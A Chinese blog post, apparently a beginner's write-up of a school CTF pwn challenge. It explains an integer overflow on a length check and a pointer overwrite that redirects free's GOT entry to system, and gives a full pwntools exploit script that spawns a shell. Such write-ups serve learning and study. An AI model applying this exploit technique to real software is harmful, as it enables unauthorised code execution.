Spirit校赛复盘

前些天刚打了人生第一个校赛,小萌新对一题印象比较深刻,事后也想了很久才做出来。 

checksec一下发现开启了canary和 NX,拖到IDA64看一下

可以看到,第一次read正好可以从buf2起始位置向高位溢出覆盖ptr,并且存在二次读入ptr区的read,而后存在free(ptr)可以考虑修改free.got成system.plt,将/bin/sh写入ptr指向地址,就相当于free(ptr)-->system(/bin/sh)

由于只有当nbytes<=8才会执行我们想要的第二次read,而if语句中是int,read中是unsigned int,存在整数溢出,可以读入负数进入if语句达到我们read的效果,直接读入-999999

如何修改free.got呢?

第一次覆盖ptr栈帧
ptr-->free.got-offset(只要能读入一个字符串即可)(0x8)
(buf)   junk data
  (buf)      junk data

第一次修改ptr为指向free.got下方offset的指针

free.got

2(offset)
1

此时,ptr应该指向1与2之间的位置

下一步只需将2处覆盖为/bin/sh(总共长度为offset),再覆盖上方free.got为system.plt

system.plt
/bin/sh
1

 此时执行free(ptr)相当于system(/bin/sh),构造exp如下:

 1 from pwn import*
  2 sh = process('./pwn')
  3 context.log_level="debug"
  4 elf = ELF('./pwn')
  5 payload = b'a' * 0x10 + p64(elf.got['free'] - 0x10)
  6 #attach(sh)                                                                 
  7 sh.sendafter(b'name',payload)
  8 sh.sendafter(b'How long?',b'-99999999\x00')
  9 payload = b'/bin/sh'
 10 payload = payload.ljust(0x10,b'\x00')
 11 payload += p64(elf.plt['system'])
 12 sh.sendafter(b'What ??:',payload)
 13 sh.interactive()                               

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值